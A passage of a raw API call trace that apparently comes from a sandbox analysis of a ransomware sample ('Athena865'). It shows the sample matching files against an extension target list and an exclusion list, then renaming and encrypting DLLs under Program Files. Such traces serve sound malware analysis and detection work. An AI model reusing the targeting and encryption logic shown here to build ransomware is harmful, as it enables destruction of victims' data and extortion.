lstrlenW (lpString="kexi") returned 4 [0038.954] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0038.954] lstrlenW (lpString="kexic") returned 5 [0038.954] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0038.954] lstrlenW (lpString="kexis") returned 5 [0038.954] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0038.954] lstrlenW (lpString="lgc") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0038.954] lstrlenW (lpString="lwx") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0038.954] lstrlenW (lpString="maf") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0038.954] lstrlenW (lpString="maq") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0038.954] lstrlenW (lpString="mar") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0038.954] lstrlenW (lpString="marshal") returned 7 [0038.954] lstrcmpiW (lpString1="ltr.dll", lpString2="marshal") returned -1 [0038.954] lstrlenW (lpString="mas") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0038.954] lstrlenW (lpString="mav") returned 3 [0038.954] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0038.955] lstrlenW (lpString="maw") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0038.955] lstrlenW (lpString="mdbhtml") returned 7 [0038.955] lstrcmpiW (lpString1="ltr.dll", lpString2="mdbhtml") returned -1 [0038.955] lstrlenW (lpString="mdn") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0038.955] lstrlenW (lpString="mdt") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0038.955] lstrlenW (lpString="mfd") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0038.955] lstrlenW (lpString="mpd") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0038.955] lstrlenW (lpString="mrg") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0038.955] lstrlenW (lpString="mud") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0038.955] lstrlenW (lpString="mwb") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0038.955] lstrlenW (lpString="myd") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0038.955] lstrlenW (lpString="ndf") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0038.955] lstrlenW (lpString="nnt") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0038.955] lstrlenW (lpString="nrmlib") returned 6 [0038.955] lstrcmpiW (lpString1="tr.dll", lpString2="nrmlib") returned 1 [0038.955] lstrlenW (lpString="ns2") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0038.955] lstrlenW (lpString="ns3") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0038.955] lstrlenW (lpString="ns4") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0038.955] lstrlenW (lpString="nsf") returned 3 [0038.955] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0038.955] lstrlenW (lpString="nv") returned 2 [0038.955] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0038.955] lstrlenW (lpString="nv2") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0038.956] lstrlenW (lpString="nwdb") returned 4 [0038.956] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0038.956] lstrlenW (lpString="nyf") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0038.956] lstrlenW (lpString="odb") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.956] lstrlenW (lpString="odb") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.956] lstrlenW (lpString="oqy") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0038.956] lstrlenW (lpString="ora") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0038.956] lstrlenW (lpString="orx") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0038.956] lstrlenW (lpString="owc") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0038.956] lstrlenW (lpString="p96") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0038.956] lstrlenW (lpString="p97") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0038.956] lstrlenW (lpString="pan") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0038.956] lstrlenW (lpString="pdb") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0038.956] lstrlenW (lpString="pdm") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0038.956] lstrlenW (lpString="pnz") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0038.956] lstrlenW (lpString="qry") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0038.956] lstrlenW (lpString="qvd") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0038.956] lstrlenW (lpString="rbf") returned 3 [0038.956] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0038.956] lstrlenW (lpString="rctd") returned 4 [0038.956] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0038.957] lstrlenW (lpString="rod") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0038.957] lstrlenW (lpString="rodx") returned 4 [0038.957] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0038.957] lstrlenW (lpString="rpd") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0038.957] lstrlenW (lpString="rsd") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0038.957] lstrlenW (lpString="sas7bdat") returned 8 [0038.957] lstrcmpiW (lpString1="iltr.dll", lpString2="sas7bdat") returned -1 [0038.957] lstrlenW (lpString="sbf") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0038.957] lstrlenW (lpString="scx") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0038.957] lstrlenW (lpString="sdb") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0038.957] lstrlenW (lpString="sdc") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0038.957] lstrlenW (lpString="sdf") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0038.957] lstrlenW (lpString="sis") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0038.957] lstrlenW (lpString="spq") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0038.957] lstrlenW (lpString="te") returned 2 [0038.957] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0038.957] lstrlenW (lpString="teacher") returned 7 [0038.957] lstrcmpiW (lpString1="ltr.dll", lpString2="teacher") returned -1 [0038.957] lstrlenW (lpString="tmd") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0038.957] lstrlenW (lpString="tps") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0038.957] lstrlenW (lpString="trc") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.957] lstrlenW (lpString="trc") returned 3 [0038.957] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.957] lstrlenW (lpString="trm") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0038.958] lstrlenW (lpString="udb") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0038.958] lstrlenW (lpString="udl") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0038.958] lstrlenW (lpString="usr") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0038.958] lstrlenW (lpString="v12") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0038.958] lstrlenW (lpString="vis") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0038.958] lstrlenW (lpString="vpd") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0038.958] lstrlenW (lpString="vvv") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0038.958] lstrlenW (lpString="wdb") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0038.958] lstrlenW (lpString="wmdb") returned 4 [0038.958] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0038.958] lstrlenW (lpString="wrk") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0038.958] lstrlenW (lpString="xdb") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0038.958] lstrlenW (lpString="xld") returned 3 [0038.958] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0038.958] lstrlenW (lpString="xmlff") returned 5 [0038.958] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0038.958] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\JNTFiltr.dll.Athena865") returned 55 [0038.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\JNTFiltr.dll" (normalized: "c:\\program files\\windows journal\\jntfiltr.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\JNTFiltr.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jntfiltr.dll.athena865"), dwFlags=0x1) returned 1 [0038.959] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\JNTFiltr.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jntfiltr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.959] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1393664) returned 1 [0038.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.959] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.960] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.960] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.960] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x154700, lpName=0x0) returned 0x154 [0038.962] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x154700) returned 0x2d50000 [0039.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.014] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.014] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.015] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0039.027] CloseHandle (hObject=0x154) returned 1 [0039.027] CloseHandle (hObject=0x17c) returned 1 [0039.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.054] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="..") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="windows") returned -1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="bootmgr") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="temp") returned -1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="pagefile.sys") returned -1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="boot") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="ids.txt") returned 1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="ntuser.dat") returned -1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="perflogs") returned -1 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2="MSBuild") returned -1 [0039.054] lstrlenW (lpString="JNWDRV.dll") returned 10 [0039.054] lstrcpyW (in: lpString1=0x241e88a, lpString2="JNWDRV.dll" | out: lpString1="JNWDRV.dll") returned="JNWDRV.dll" [0039.054] lstrlenW (lpString="JNWDRV.dll") returned 10 [0039.054] lstrlenW (lpString="Athena865") returned 9 [0039.054] lstrcmpiW (lpString1="NWDRV.dll", lpString2="Athena865") returned 1 [0039.054] lstrlenW (lpString=".dll") returned 4 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".dll") returned 1 [0039.054] lstrlenW (lpString=".lnk") returned 4 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".lnk") returned 1 [0039.054] lstrlenW (lpString=".ini") returned 4 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".ini") returned 1 [0039.054] lstrlenW (lpString=".sys") returned 4 [0039.054] lstrcmpiW (lpString1="JNWDRV.dll", lpString2=".sys") returned 1 [0039.054] lstrlenW (lpString="JNWDRV.dll") returned 10 [0039.054] lstrlenW (lpString="bak") returned 3 [0039.054] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0039.054] lstrlenW (lpString="ba_") returned 3 [0039.054] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0039.054] lstrlenW (lpString="dbb") returned 3 [0039.054] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0039.054] lstrlenW (lpString="vmdk") returned 4 [0039.055] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0039.055] lstrlenW (lpString="rar") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0039.055] lstrlenW (lpString="zip") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0039.055] lstrlenW (lpString="tgz") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0039.055] lstrlenW (lpString="vbox") returned 4 [0039.055] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0039.055] lstrlenW (lpString="vdi") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0039.055] lstrlenW (lpString="vhd") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0039.055] lstrlenW (lpString="vhdx") returned 4 [0039.055] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0039.055] lstrlenW (lpString="avhd") returned 4 [0039.055] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0039.055] lstrlenW (lpString="db") returned 2 [0039.055] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0039.055] lstrlenW (lpString="db2") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0039.055] lstrlenW (lpString="db3") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0039.055] lstrlenW (lpString="dbf") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0039.055] lstrlenW (lpString="mdf") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0039.055] lstrlenW (lpString="mdb") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0039.055] lstrlenW (lpString="sql") returned 3 [0039.055] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0039.055] lstrlenW (lpString="sqlite") returned 6 [0039.055] lstrcmpiW (lpString1="RV.dll", lpString2="sqlite") returned -1 [0039.055] lstrlenW (lpString="sqlite3") returned 7 [0039.055] lstrcmpiW (lpString1="DRV.dll", lpString2="sqlite3") returned -1 [0039.055] lstrlenW (lpString="sqlitedb") returned 8 [0039.056] lstrcmpiW (lpString1="WDRV.dll", lpString2="sqlitedb") returned 1 [0039.056] lstrlenW (lpString="xml") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0039.056] lstrlenW (lpString="$er") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0039.056] lstrlenW (lpString="4dd") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0039.056] lstrlenW (lpString="4dl") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0039.056] lstrlenW (lpString="^^^") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0039.056] lstrlenW (lpString="abs") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0039.056] lstrlenW (lpString="abx") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0039.056] lstrlenW (lpString="accdb") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accdb") returned 1 [0039.056] lstrlenW (lpString="accdc") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accdc") returned 1 [0039.056] lstrlenW (lpString="accde") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accde") returned 1 [0039.056] lstrlenW (lpString="accdr") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accdr") returned 1 [0039.056] lstrlenW (lpString="accdt") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accdt") returned 1 [0039.056] lstrlenW (lpString="accdw") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accdw") returned 1 [0039.056] lstrlenW (lpString="accft") returned 5 [0039.056] lstrcmpiW (lpString1="V.dll", lpString2="accft") returned 1 [0039.056] lstrlenW (lpString="adb") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.056] lstrlenW (lpString="adb") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.056] lstrlenW (lpString="ade") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0039.056] lstrlenW (lpString="adf") returned 3 [0039.056] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0039.056] lstrlenW (lpString="adn") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0039.057] lstrlenW (lpString="adp") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0039.057] lstrlenW (lpString="alf") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0039.057] lstrlenW (lpString="ask") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0039.057] lstrlenW (lpString="btr") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0039.057] lstrlenW (lpString="cat") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0039.057] lstrlenW (lpString="cdb") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0039.057] lstrlenW (lpString="ckp") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0039.057] lstrlenW (lpString="cma") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0039.057] lstrlenW (lpString="cpd") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0039.057] lstrlenW (lpString="dacpac") returned 6 [0039.057] lstrcmpiW (lpString1="RV.dll", lpString2="dacpac") returned 1 [0039.057] lstrlenW (lpString="dad") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0039.057] lstrlenW (lpString="dadiagrams") returned 10 [0039.057] lstrlenW (lpString="daschema") returned 8 [0039.057] lstrcmpiW (lpString1="WDRV.dll", lpString2="daschema") returned 1 [0039.057] lstrlenW (lpString="db-journal") returned 10 [0039.057] lstrlenW (lpString="db-shm") returned 6 [0039.057] lstrcmpiW (lpString1="RV.dll", lpString2="db-shm") returned 1 [0039.057] lstrlenW (lpString="db-wal") returned 6 [0039.057] lstrcmpiW (lpString1="RV.dll", lpString2="db-wal") returned 1 [0039.057] lstrlenW (lpString="dbc") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0039.057] lstrlenW (lpString="dbs") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0039.057] lstrlenW (lpString="dbt") returned 3 [0039.057] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0039.057] lstrlenW (lpString="dbv") returned 3 [0039.058] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0039.058] lstrlenW (lpString="dbx") returned 3 [0039.058] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0039.058] lstrlenW (lpString="dcb") returned 3 [0039.058] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0039.058] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0039.058] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0039.058] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0039.058] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\JNWDRV.dll.Athena865") returned 53 [0039.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\JNWDRV.dll" (normalized: "c:\\program files\\windows journal\\jnwdrv.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\JNWDRV.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwdrv.dll.athena865"), dwFlags=0x1) returned 1 [0039.059] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\JNWDRV.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwdrv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.059] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1402880) returned 1 [0039.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.060] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.060] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.061] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.061] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x156b00, lpName=0x0) returned 0x154 [0039.062] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x156b00) returned 0x2d50000 [0039.108] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.108] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.108] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.109] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0039.121] CloseHandle (hObject=0x154) returned 1 [0039.121] CloseHandle (hObject=0x17c) returned 1 [0039.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.149] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, 